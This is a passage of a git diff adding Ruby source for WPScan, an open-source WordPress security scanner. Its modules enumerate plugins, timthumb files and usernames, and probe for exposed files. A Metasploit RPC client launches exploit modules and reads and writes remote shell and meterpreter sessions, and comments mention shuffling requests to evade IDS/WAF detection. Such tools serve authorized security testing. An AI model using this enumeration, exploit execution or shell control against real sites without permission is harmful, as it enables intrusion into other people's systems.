|
||||
def login_security_solution_url
|
||||
WpPlugin.create_location_url_from_name("login-security-solution", @uri)
|
||||
end
|
||||
|
||||
# http://wordpress.org/extend/plugins/limit-login-attempts/
|
||||
def has_limit_login_attempts_protection?
|
||||
Browser.instance.get(limit_login_attempts_url()).code != 404
|
||||
end
|
||||
|
||||
def limit_login_attempts_url
|
||||
WpPlugin.create_location_url_from_name("limit-login-attempts", @uri)
|
||||
end
|
||||
|
||||
# http://wordpress.org/extend/plugins/bluetrait-event-viewer/
|
||||
def has_bluetrait_event_viewer_protection?
|
||||
Browser.instance.get(bluetrait_event_viewer_url()).code != 404
|
||||
end
|
||||
|
||||
def bluetrait_event_viewer_url
|
||||
WpPlugin.create_location_url_from_name("bluetrait-event-viewer", @uri)
|
||||
end
|
||||
end
|
||||
130
lib/wpscan/modules/wp_plugins.rb
Normal file
130
lib/wpscan/modules/wp_plugins.rb
Normal file
@@ -0,0 +1,130 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
module WpPlugins
|
||||
|
||||
# Enumerate installed plugins.
|
||||
# Available options : see #targets_url
|
||||
#
|
||||
# return array of WpPlugin
|
||||
def plugins_from_aggressive_detection(options = {})
|
||||
browser = Browser.instance
|
||||
hydra = browser.hydra
|
||||
found_plugins = options[:only_vulnerable_ones] ? [] : plugins_from_passive_detection()
|
||||
request_count = 0
|
||||
queue_count = 0
|
||||
local_404_hash = error_404_hash()
|
||||
valid_response_codes = WpPlugins.valid_response_codes()
|
||||
targets_url = plugins_targets_url(options)
|
||||
|
||||
targets_url.each do |target_url|
|
||||
request = browser.forge_request(target_url, :cache_timeout => 0, :follow_location => true)
|
||||
request_count += 1
|
||||
|
||||
request.on_complete do |response|
|
||||
print "\rChecking for " + targets_url.size.to_s + " total plugins... #{(request_count * 100) / targets_url.size}% complete." # progress indicator
|
||||
|
||||
if valid_response_codes.include?(response.code)
|
||||
if Digest::MD5.hexdigest(response.body) != local_404_hash
|
||||
found_plugins << WpPlugin.new(target_url)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
hydra.queue(request)
|
||||
queue_count += 1
|
||||
|
||||
if queue_count == browser.max_threads
|
||||
hydra.run
|
||||
queue_count = 0
|
||||
end
|
||||
end
|
||||
|
||||
hydra.run
|
||||
|
||||
found_plugins
|
||||
end
|
||||
|
||||
def self.valid_response_codes
|
||||
[200, 403, 301, 302]
|
||||
end
|
||||
|
||||
# Available options :
|
||||
# :only_vulnerable_ones - default false
|
||||
# :plugins_file - default DATA_DIR/plugins.txt
|
||||
# :plugin_vulns_file - default DATA_DIR/plugin_vulns.xml
|
||||
#
|
||||
# @return Array of String
|
||||
def plugins_targets_url(options = {})
|
||||
only_vulnerable = options[:only_vulnerable_ones] || false
|
||||
plugins_file = options[:plugins_file] || "#{DATA_DIR}/plugins.txt"
|
||||
plugin_vulns_file = options[:plugin_vulns_file] || "#{DATA_DIR}/plugin_vulns.xml"
|
||||
targets_url = []
|
||||
|
||||
if only_vulnerable == false
|
||||
# Open and parse the 'most popular' plugin list...
|
||||
File.open(plugins_file, 'r') do |file|
|
||||
file.readlines.collect do |line|
|
||||
targets_url << WpPlugin.create_url_from_raw(line.chomp, @uri)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
xml = Nokogiri::XML(File.open(plugin_vulns_file)) do |config|
|
||||
config.noblanks
|
||||
end
|
||||
|
||||
# We check if the plugin name from the plugin_vulns_file is already in targets, otherwise we add it
|
||||
xml.xpath("//plugin").each do |node|
|
||||
plugin_name = node.attribute('name').text
|
||||
|
||||
if targets_url.grep(%r{/#{plugin_name}/}).empty?
|
||||
targets_url << WpPlugin.create_location_url_from_name(plugin_name, url())
|
||||
end
|
||||
end
|
||||
|
||||
targets_url.flatten!
|
||||
targets_url.uniq!
|
||||
# randomize the plugins array to *maybe* help in some crappy IDS/IPS/WAF detection
|
||||
targets_url.sort_by { rand }
|
||||
end
|
||||
|
||||
# http://code.google.com/p/wpscan/issues/detail?id=42
|
||||
# plugins can be found in the source code :
|
||||
# <script src='http://example.com/wp-content/plugins/s2member/...' />
|
||||
# <link rel='stylesheet' href='http://example.com/wp-content/plugins/wp-minify/..' type='text/css' media='screen'/>
|
||||
# ...
|
||||
# return array of WpPlugin
|
||||
def plugins_from_passive_detection
|
||||
plugins = []
|
||||
response = Browser.instance.get(url())
|
||||
plugins_names = response.body.scan(%r{(?:[^=:]+)\s?(?:=|:)\s?(?:"|')[^"']+\\?/wp-content\\?/plugins\\?/([^/\\"']+)\\?(?:/|"|')}i)
|
||||
|
||||
plugins_names.flatten!
|
||||
plugins_names.uniq!
|
||||
|
||||
plugins_names.each do |plugin_name|
|
||||
plugins << WpPlugin.new(
|
||||
WpPlugin.create_location_url_from_name(plugin_name, url()),
|
||||
:name => plugin_name
|
||||
)
|
||||
end
|
||||
plugins
|
||||
end
|
||||
|
||||
end
|
||||
36
lib/wpscan/modules/wp_readme.rb
Normal file
36
lib/wpscan/modules/wp_readme.rb
Normal file
@@ -0,0 +1,36 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
module WpReadme
|
||||
|
||||
# Checks to see if the readme.html file exists
|
||||
#
|
||||
# This file comes by default in a wordpress installation,
|
||||
# and if deleted is reinstated with an upgrade.
|
||||
def has_readme?
|
||||
response = Browser.instance.get(readme_url())
|
||||
|
||||
unless response.code == 404
|
||||
response.body =~ %r{wordpress}i
|
||||
end
|
||||
end
|
||||
|
||||
def readme_url
|
||||
@uri.merge("readme.html").to_s
|
||||
end
|
||||
end
|
||||
102
lib/wpscan/modules/wp_timthumbs.rb
Normal file
102
lib/wpscan/modules/wp_timthumbs.rb
Normal file
@@ -0,0 +1,102 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
module WpTimthumbs
|
||||
|
||||
# Used as cache : nil => timthumbs not checked, [] => no timthumbs, otherwise array of timthumbs url found
|
||||
@wp_timthumbs = nil
|
||||
|
||||
def has_timthumbs?(options = {})
|
||||
!timthumbs(options).empty?
|
||||
end
|
||||
|
||||
# Available options :
|
||||
# :theme_name
|
||||
# :timthumbs_file
|
||||
#
|
||||
# return array of string (url of timthumbs found), can be empty
|
||||
def timthumbs(options = {})
|
||||
if @wp_timthumbs.nil?
|
||||
browser = Browser.instance
|
||||
hydra = browser.hydra
|
||||
found_timthumbs = []
|
||||
request_count = 0
|
||||
queue_count = 0
|
||||
targets_url = timthumbs_targets_url(options)
|
||||
|
||||
targets_url.each do |target_url|
|
||||
request = browser.forge_request(target_url, :cache_timeout => 0)
|
||||
request_count += 1
|
||||
|
||||
request.on_complete do |response|
|
||||
print "\rChecking for " + targets_url.size.to_s + " total timthumb files... #{(request_count * 100) / targets_url.size}% complete." # progress indicator
|
||||
if response.body =~ /no image specified/i
|
||||
found_timthumbs << target_url
|
||||
end
|
||||
end
|
||||
|
||||
hydra.queue(request)
|
||||
queue_count += 1
|
||||
|
||||
if queue_count == browser.max_threads
|
||||
hydra.run
|
||||
queue_count = 0
|
||||
end
|
||||
end
|
||||
|
||||
hydra.run
|
||||
|
||||
@wp_timthumbs = found_timthumbs
|
||||
end
|
||||
@wp_timthumbs
|
||||
end
|
||||
|
||||
# Available options :
|
||||
# :theme_name
|
||||
# :timthumbs_file
|
||||
#
|
||||
# retrun array of string
|
||||
def timthumbs_targets_url(options = {})
|
||||
targets = options[:theme_name] ? targets_url_from_theme(options[:theme_name]) : []
|
||||
timthumbs_file = WpTimthumbs.timthumbs_file(options[:timthumbs_file])
|
||||
targets += File.open(timthumbs_file, 'r') {|file| file.readlines.collect{|line| @uri.merge(line.chomp).to_s}}
|
||||
|
||||
targets.uniq!
|
||||
# randomize the array to *maybe* help in some crappy IDS/IPS/WAF evasion
|
||||
targets.sort_by { rand }
|
||||
end
|
||||
|
||||
def self.timthumbs_file(timthumbs_file_path = nil)
|
||||
timthumbs_file_path || DATA_DIR + "/timthumbs.txt"
|
||||
end
|
||||
|
||||
protected
|
||||
def targets_url_from_theme(theme_name)
|
||||
targets = []
|
||||
theme_name = URI.escape(theme_name)
|
||||
|
||||
[
|
||||
'timthumb.php', 'lib/timthumb.php', 'inc/timthumb.php', 'includes/timthumb.php',
|
||||
'scripts/timthumb.php', 'tools/timthumb.php', 'functions/timthumb.php'
|
||||
].each do |file|
|
||||
targets << @uri.merge("wp-content/themes/#{theme_name}/#{file}").to_s
|
||||
end
|
||||
targets
|
||||
end
|
||||
|
||||
end
|
||||
52
lib/wpscan/modules/wp_usernames.rb
Normal file
52
lib/wpscan/modules/wp_usernames.rb
Normal file
@@ -0,0 +1,52 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
module WpUsernames
|
||||
|
||||
# Enumerate wordpress usernames by using Veronica Valeros's technique:
|
||||
# http://seclists.org/fulldisclosure/2011/May/493
|
||||
#
|
||||
# Available options :
|
||||
# :range - default : 1..10
|
||||
#
|
||||
# returns an array of usernames (can be empty)
|
||||
def usernames(options = {})
|
||||
range = options[:range] || (1..10)
|
||||
browser = Browser.instance
|
||||
usernames = []
|
||||
|
||||
range.each do |author_id|
|
||||
response = browser.get(author_url(author_id))
|
||||
|
||||
if response.code == 301 # username in location?
|
||||
usernames << response.headers_hash['location'][%r{/author/([^/]+)/}i, 1]
|
||||
elsif response.code == 200 # username in body?
|
||||
usernames << response.body[%r{posts by (.*) feed}i, 1]
|
||||
end
|
||||
end
|
||||
|
||||
# clean the array, remove nils and possible duplicates
|
||||
usernames.flatten!
|
||||
usernames.compact!
|
||||
usernames.uniq
|
||||
end
|
||||
|
||||
def author_url(author_id)
|
||||
@uri.merge("?author=#{author_id}").to_s
|
||||
end
|
||||
end
|
||||
156
lib/wpscan/msfrpc_client.rb
Normal file
156
lib/wpscan/msfrpc_client.rb
Normal file
@@ -0,0 +1,156 @@
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
# ryandewhurst at gmail
|
||||
#
|
||||
|
||||
# This library should contain all methods to communicate with msfrpc.
|
||||
# See framework/documentation/msfrpc.txt for further information.
|
||||
# msfrpcd -S -U wpscan -P wpscan -f -t Web -u /RPC2
|
||||
# name = exploit/unix/webapp/php_include
|
||||
|
||||
class RpcClient
|
||||
|
||||
def initialize
|
||||
@config = {}
|
||||
@config['host'] = "127.0.0.1"
|
||||
@config['path'] = "/RPC2"
|
||||
@config['port'] = 55553
|
||||
@config['user'] = "wpscan"
|
||||
@config['pass'] = "wpscan"
|
||||
@auth_token = nil
|
||||
@last_auth = nil
|
||||
|
||||
begin
|
||||
@server = XMLRPC::Client.new3( :host => @config["host"], :path => @config["path"], :port => @config["port"], :user => @config["user"], :password => @config["pass"])
|
||||
rescue => e
|
||||
puts "[ERROR] Could not create XMLRPC object."
|
||||
puts e.faultCode
|
||||
puts e.faultString
|
||||
end
|
||||
end
|
||||
|
||||
# login to msfrpcd
|
||||
|
||||
def login()
|
||||
result = @server.call("auth.login", @config['user'], @config['pass'])
|
||||
|
||||
if result['result'] == "success"
|
||||
@auth_token = result['token']
|
||||
@last_auth = Time.new
|
||||
logged_in = true
|
||||
else
|
||||
puts "[ERROR] Invalid login credentials provided to msfrpcd."
|
||||
logged_in = false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# check authentication
|
||||
|
||||
def authenticate()
|
||||
login() if @auth_token.nil?
|
||||
login() if (Time.now - @last_auth > 600)
|
||||
end
|
||||
|
||||
# retrieve information about the exploit
|
||||
|
||||
def get_exploit_info(name)
|
||||
authenticate()
|
||||
result = @server.call('module.info', @auth_token, 'exploit', name)
|
||||
return result
|
||||
end
|
||||
|
||||
# retrieve exploit options
|
||||
|
||||
def get_options(name)
|
||||
authenticate()
|
||||
result = @server.call('module.options', @auth_token, 'exploit',name)
|
||||
return result
|
||||
end
|
||||
|
||||
# retrieve the exploit payloads
|
||||
|
||||
def get_payloads(name)
|
||||
authenticate()
|
||||
result = @server.call('module.compatible_payloads', @auth_token, name)
|
||||
return result
|
||||
end
|
||||
|
||||
# execute exploit
|
||||
|
||||
def exploit(name, opts)
|
||||
authenticate()
|
||||
result = @server.call('module.execute', @auth_token, 'exploit', name, opts)
|
||||
return result
|
||||
end
|
||||
|
||||
# list msf jobs
|
||||
|
||||
def jobs()
|
||||
authenticate()
|
||||
result = @server.call('job.list', @auth_token)
|
||||
return result
|
||||
end
|
||||
|
||||
# list msf sessions
|
||||
|
||||
def sessions()
|
||||
authenticate()
|
||||
result = @server.call('session.list', @auth_token)
|
||||
return result
|
||||
end
|
||||
|
||||
# kill msf session
|
||||
|
||||
def kill_session(id)
|
||||
authenticate()
|
||||
result = @server.call('session.stop', @auth_token, id)
|
||||
return result
|
||||
end
|
||||
|
||||
# reads any pending output from session
|
||||
|
||||
def read_shell(id)
|
||||
authenticate()
|
||||
result = @server.call('session.shell_read', @auth_token, id)
|
||||
return result
|
||||
end
|
||||
|
||||
# writes the specified input into the session
|
||||
|
||||
def write_shell(id, data)
|
||||
authenticate()
|
||||
result = @server.call('session.shell_write', @auth_token, id, data)
|
||||
return result
|
||||
end
|
||||
|
||||
def meterpreter_read(id)
|
||||
authenticate()
|
||||
result = @server.call('session.meterpreter_read', @auth_token, id)
|
||||
return result
|
||||
end
|
||||
|
||||
def meterpreter_write(id, data)
|
||||
authenticate()
|
||||
result = @server.call('session.meterpreter_write', @auth_token, id, data)
|
||||
return result
|
||||
end
|
||||
|
||||
end
|
||||
41
lib/wpscan/vulnerable.rb
Normal file
41
lib/wpscan/vulnerable.rb
Normal file
@@ -0,0 +1,41 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
class Vulnerable
|
||||
|
||||
attr_reader :vulns_xml, :vulns_xpath
|
||||
|
||||
# @return an array of WpVulnerability (can be empty)
|
||||
def vulnerabilities
|
||||
vulnerabilities = []
|
||||
|
||||
xml = Nokogiri::XML(File.open(@vulns_xml)) do |config|
|
||||
config.noblanks
|
||||
end
|
||||
|
||||
xml.xpath(@vulns_xpath).each do |node|
|
||||
vulnerabilities << WpVulnerability.new(
|
||||
node.search('title').text,
|
||||
node.search('reference').text,
|
||||
node.search('type').text
|
||||
)
|
||||
end
|
||||
vulnerabilities
|
||||
end
|
||||
|
||||
end
|
||||
96
lib/wpscan/wp_plugin.rb
Normal file
96
lib/wpscan/wp_plugin.rb
Normal file
@@ -0,0 +1,96 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
require "#{WPSCAN_LIB_DIR}/vulnerable"
|
||||
|
||||
class WpPlugin < Vulnerable
|
||||
@@location_url_pattern = %r{^(https?://.*/([^/]+)/)}i
|
||||
|
||||
attr_reader :name, :location_uri
|
||||
|
||||
def initialize(location_url, options = {})
|
||||
@location_uri = WpPlugin.location_uri_from_url(location_url)
|
||||
@name = options[:name] || WpPlugin.extract_name_from_location_url(location_url)
|
||||
@vulns_xml = options[:vulns_xml] || DATA_DIR + '/plugin_vulns.xml'
|
||||
@vulns_xpath = "//plugin[@name='#{@name}']/vulnerability"
|
||||
end
|
||||
|
||||
def location_url
|
||||
@location_uri.to_s
|
||||
end
|
||||
|
||||
def ==(plugin)
|
||||
plugin.name == @name
|
||||
end
|
||||
|
||||
def <=>(plugin)
|
||||
plugin.name <=> @name
|
||||
end
|
||||
|
||||
# http://code.google.com/p/wpscan/issues/detail?id=97
|
||||
def version
|
||||
response = Browser.instance.get(@location_uri.merge("readme.txt").to_s)
|
||||
response.body[%r{stable tag: #{WpVersion.version_pattern}}i, 1]
|
||||
end
|
||||
|
||||
# Discover any error_log files created by WordPress
|
||||
# These are created by the WordPress error_log() function
|
||||
# They are normally found in the /plugins/ directory,
|
||||
# however can also be found in their specific plugin dir.
|
||||
# http://www.exploit-db.com/ghdb/3714/
|
||||
def error_log?
|
||||
Browser.instance.get(error_log_url()).body[%r{PHP Fatal error}i] ? true : false
|
||||
end
|
||||
|
||||
def error_log_url
|
||||
@location_uri.merge("error_log").to_s
|
||||
end
|
||||
|
||||
# Is directory listing enabled?
|
||||
# WordPress denies directory listing however,
|
||||
# forgets about the plugin directory.
|
||||
def directory_listing?
|
||||
Browser.instance.get(location_url()).body[%r{<title>Index of}] ? true : false
|
||||
end
|
||||
|
||||
def self.create_location_url_from_name(name, target_uri)
|
||||
if target_uri.is_a?(String)
|
||||
target_uri = URI.parse(target_uri)
|
||||
end
|
||||
target_uri.merge(URI.escape("$wp-plugins$/#{name}/")).to_s
|
||||
end
|
||||
|
||||
def self.create_url_from_raw(raw, target_uri)
|
||||
target_uri.merge(URI.escape("$wp-plugins$/#{raw}")).to_s
|
||||
end
|
||||
|
||||
protected
|
||||
def self.extract_name_from_location_url(location_url)
|
||||
location_url[@@location_url_pattern, 2]
|
||||
end
|
||||
|
||||
def self.location_uri_from_url(location_url)
|
||||
valid_location_url = location_url[%r{^(https?://.*/)[^.]+\.[^/]+$}, 1]
|
||||
|
||||
unless valid_location_url
|
||||
valid_location_url = add_trailing_slash(location_url)
|
||||
end
|
||||
|
||||
URI.parse(valid_location_url)
|
||||
end
|
||||
end
|
||||
108
lib/wpscan/wp_target.rb
Normal file
108
lib/wpscan/wp_target.rb
Normal file
@@ -0,0 +1,108 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
class WpTarget
|
||||
include WebSite
|
||||
include WpReadme
|
||||
include WpFullPathDisclosure
|
||||
include WpConfigBackup
|
||||
include WpLoginProtection
|
||||
include Malwares
|
||||
include WpUsernames
|
||||
include WpTimthumbs
|
||||
include WpPlugins
|
||||
include BruteForce
|
||||
|
||||
@error_404_hash = nil
|
||||
|
||||
attr_reader :uri, :verbose
|
||||
|
||||
def initialize(target_url, options = {})
|
||||
raise "Empty URL" if !target_url
|
||||
|
||||
@uri = URI.parse(add_http_protocol(target_url))
|
||||
@verbose = options[:verbose]
|
||||
@wp_content_dir = options[:wp_content_dir]
|
||||
@wp_plugins_dir = options[:wp_plugins_dir]
|
||||
|
||||
Browser.instance(#options.merge(:max_threads => options[:threads]))
|
||||
:proxy => options[:proxy],
|
||||
:max_threads => options[:threads]
|
||||
)
|
||||
end
|
||||
|
||||
# Alias of @uri.to_s
|
||||
def url
|
||||
@uri.to_s
|
||||
end
|
||||
|
||||
def login_url
|
||||
url = @uri.merge("wp-login.php").to_s
|
||||
|
||||
# Let's check if the login url is redirected (to https url for example)
|
||||
if redirection = redirection(url)
|
||||
url = redirection
|
||||
end
|
||||
|
||||
url
|
||||
end
|
||||
|
||||
# Return the MD5 hash of a 404 page
|
||||
def error_404_hash
|
||||
unless @error_404_hash
|
||||
non_existant_page = Digest::MD5.hexdigest(rand(9999999999).to_s) + ".html"
|
||||
|
||||
response = Browser.instance.get(@uri.merge(non_existant_page).to_s)
|
||||
|
||||
@error_404_hash = Digest::MD5.hexdigest(response.body)
|
||||
end
|
||||
|
||||
@error_404_hash
|
||||
end
|
||||
|
||||
# return WpTheme
|
||||
def theme
|
||||
WpTheme.find(@uri)
|
||||
end
|
||||
|
||||
# return WpVersion
|
||||
def version
|
||||
WpVersion.find(@uri)
|
||||
end
|
||||
|
||||
def wp_content_dir
|
||||
unless @wp_content_dir
|
||||
index_body = Browser.instance.get(@uri.to_s).body
|
||||
|
||||
if index_body[%r{/wp-content/themes/}i]
|
||||
@wp_content_dir = "wp-content"
|
||||
else
|
||||
@wp_content_dir = index_body[%r{(?:href|src)=(?:"|')#{@uri}/?(.*)/themes/.*(?:"|')}i, 1]
|
||||
end
|
||||
end
|
||||
@wp_content_dir
|
||||
end
|
||||
|
||||
def wp_plugins_dir
|
||||
unless @wp_plugins_dir
|
||||
@wp_plugins_dir = wp_content_dir() + "/plugins"
|
||||
end
|
||||
@wp_plugins_dir
|
||||
end
|
||||
|
||||
end
|
||||
89
lib/wpscan/wp_theme.rb
Normal file
89
lib/wpscan/wp_theme.rb
Normal file
@@ -0,0 +1,89 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
require "#{WPSCAN_LIB_DIR}/vulnerable"
|
||||
|
||||
class WpTheme < Vulnerable
|
||||
|
||||
attr_reader :name, :style_url, :version
|
||||
|
||||
def initialize(name, options = {})
|
||||
@name = name
|
||||
@vulns_xml = options[:vulns_xml] || DATA_DIR + '/wp_theme_vulns.xml'
|
||||
@vulns_xpath = "//theme[@name='#{@name}']/vulnerability"
|
||||
@style_url = options[:style_url]
|
||||
@version = options[:version]
|
||||
end
|
||||
|
||||
def version
|
||||
unless @version
|
||||
if @style_url
|
||||
@version = Browser.instance.get(@style_url).body[%r{Version:\s([^\s]+)}i, 1]
|
||||
end
|
||||
end
|
||||
@version
|
||||
end
|
||||
|
||||
|
||||
def self.find(target_uri)
|
||||
self.methods.grep(/find_from_/).each do |method_to_call|
|
||||
theme = self.send(method_to_call, target_uri)
|
||||
|
||||
return theme if theme
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
def to_s
|
||||
version = version()
|
||||
"#{@name}#{' v' + version if version}"
|
||||
end
|
||||
|
||||
def ===(wp_theme)
|
||||
wp_theme.name === @name and wp_theme.version === @version
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# Discover the wordpress theme name by parsing the css link rel
|
||||
def self.find_from_css_link(target_uri)
|
||||
response = Browser.instance.get(target_uri.to_s, :follow_location => true, :max_redirects => 2)
|
||||
|
||||
if matches = %r{https?://.*/themes/(.*)/style.css}i.match(response.body)
|
||||
style_url = matches[0]
|
||||
theme_name = matches[1]
|
||||
|
||||
return new(theme_name, :style_url => style_url)
|
||||
end
|
||||
end
|
||||
|
||||
# http://code.google.com/p/wpscan/issues/detail?id=141
|
||||
def self.find_from_wooframework(target_uri)
|
||||
body = Browser.instance.get(target_uri.to_s).body
|
||||
regexp = %r{<meta name="generator" content="([^\s"]+)\s?([^"]+)?" />\s+<meta name="generator" content="WooFramework\s?([^"]+)?" />}
|
||||
|
||||
if matches = regexp.match(body)
|
||||
woo_theme_name = matches[1]
|
||||
woo_theme_version = matches[2]
|
||||
woo_framework_version = matches[3] # Not used at this time
|
||||
|
||||
return new(woo_theme_name, :version => woo_theme_version)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
120
lib/wpscan/wp_version.rb
Normal file
120
lib/wpscan/wp_version.rb
Normal file
@@ -0,0 +1,120 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
require "#{WPSCAN_LIB_DIR}/vulnerable"
|
||||
|
||||
class WpVersion < Vulnerable
|
||||
|
||||
attr_reader :number, :discovery_method
|
||||
|
||||
def initialize(number, options = {})
|
||||
@number = number
|
||||
@discovery_method = options[:discovery_method]
|
||||
@vulns_xml = options[:vulns_xml] || DATA_DIR + '/wp_vulns.xml'
|
||||
@vulns_xpath = "//wordpress[@version='#{@number}']/vulnerability"
|
||||
end
|
||||
|
||||
# Will use all method self.find_from_* to try to detect the version
|
||||
# Once the version is found, it will return a WpVersion object
|
||||
# The method_name will be without 'find_from_' and '_' will be replace by ' ' (IE 'meta generator', 'rss generator' etc)
|
||||
# If the version is not found, nil is returned
|
||||
#
|
||||
